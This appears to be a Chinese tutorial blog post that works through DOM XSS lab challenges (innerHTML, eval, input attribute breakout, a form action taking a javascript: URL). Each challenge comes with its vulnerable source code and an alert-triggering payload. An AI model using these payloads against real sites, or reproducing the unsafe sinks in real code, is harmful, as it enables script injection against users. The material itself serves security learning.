XSS-DOM-1

1 innerHTML

html 复制代码
<body>
    <h2 id="spaghet"></h2>
</body>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
</html>

1.1 innerHTML在JS是双向功能:

1.1.1获取对象的内容

如:<div id="aa">这是内容</div>

我们可以通过 document.getElementById('aa').innerHTML 来获取id为aa的对象的内嵌内容;

1.1.2或向对象插入内容

也可以对某对象插入内容,如 document.getElementById('abc').innerHTML='这是被插入的内容';

这样就能向id为abc的对象插入内容。

1.2 代码分析

javascript 复制代码
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"

这个innerHTML就是通过spaghet这个标签id锁定到html中的标签,然后再按照后面的=来表明输出的值

1.2.1 直接访问

直接访问发现是按照js中的代码直接拼接的,get传参的可变参数默认为somebody,那我们对他进行赋值来看看

1.2.2 赋值分析

直接就变成了1进行拼接,那我们试着输入恶意代码试一下(注意:innerHTML限制了<script>标签)

1.2.3 payload

javascript 复制代码
test1.html?somebody=<img src=1 onerror=alert(1337)>

2

2.1 代码分析

首先jeff如果没传参默认为JEFFF,eval代码执行,先让ma接收上面的传参然后一秒钟过后将执行的ma赋值给h2,所以显示内容为 Ma name JEFFF

html 复制代码
<body>
  <h2 id="maname"></h2>
</body>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

2.2 payload

eval在js中也是命令执行,我们先闭合前面的双引号,但是我后面也有一个双引号,我可以直接注释掉

html 复制代码
1 ?jeff=aaa";alert(1)//

2 ?jeff=111";alert(1);"

2.2.1 代码调试

传参是这个,然后当我们再下一步的时候,发现直接弹1了,并没有执行下一步的延迟一秒

  1. eval 执行代码eval 会把字符串当 JS 代码执行,其中 ;alert(1)// 部分:
    • ; 分割语句,让 alert(1) 独立执行;
    • // 注释掉后面的多余引号(避免语法错误),最终触发 alert(1) 弹窗。

3 input标签

html 复制代码
</head>
<body>
 <div id="uganda"></div>
</body>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
</html>

3.1 代码分析

3.2 payload

html 复制代码
test1.html?wey=a" autofocus onfocus="alert(1)

4 form表单

form表单通常我们需要注意他的这三个参数,action=""这个是表示我应该接的后端的程序应该是那个php或者1后端的代码来接,enctype第一个是默认值,表示的是我输入的是文字,密码等,第二个"multipart/form-data是表示的文件上传

4.1 form属性

4.1.1 action

4.1.1.1 前端html

<body>

<form action="test2.php" method="post">

<input type="text" name="username" id="">

<input type="submit" value="submit">

</form>

</body>

4.1.1.2 后端test2.php

<?php

username = _POST['username'];

echo $username;

4.1.1.3 测试

先访问前端页面,因为get传参,看能不能传参到后端用来说明action属性的作用

提交后传到后端

4.1.1.4 当action=#

当为#的时候,会把页面提交到当前的页面不会进行跳转

4.2 漏洞源码

html 复制代码
 <form id="ricardo" method="GET" >
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
</body>

<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>
</html>

4.2.1 javascript伪协议

分析可知action可以接收javascript伪协议,执行其中的方法那么再回到4.2这个题本省就变的很简单了,直接给他赋值伪协议就行了

html 复制代码
  <form action="javascript:alert(1)" method="post">
        <input type="text" name="username" id="">
        <input type="submit" value="submit">

4.3 payload

相当于我直接给action传参

test1.html?ricardo=javascript:alert(1)

相关推荐
永卿0019 分钟前
设计模式-责任链模式
java·设计模式·责任链模式
hello 早上好13 分钟前
深入解析AOP调用链:递归与责任链模式的协同实现
java·责任链模式
wangmengxxw23 分钟前
Spring-常用注解
java·数据库·spring·注解
Wcowin24 分钟前
MkDocs文档日期插件【推荐】
前端·mkdocs
籍籍川草30 分钟前
JVM指针压缩的那些事
java·开发语言·jvm
艾莉丝努力练剑39 分钟前
【C/C++】类和对象(上):(一)类和结构体,命名规范——两大规范,新的作用域——类域
java·c语言·开发语言·c++·学习·算法
myNameGL1 小时前
下载一个JeecgBoot-master项目 导入idea需要什么操作启动项目
java·ide·intellij-idea
Emotion亦楠1 小时前
Java 学习笔记:常用类、String 与日期时间处理
java·笔记·学习
xw51 小时前
免费的个人网站托管-Cloudflare
服务器·前端
网安Ruler1 小时前
Web开发-PHP应用&Cookie脆弱&Session固定&Token唯一&身份验证&数据库通讯
前端·数据库·网络安全·php·渗透·红队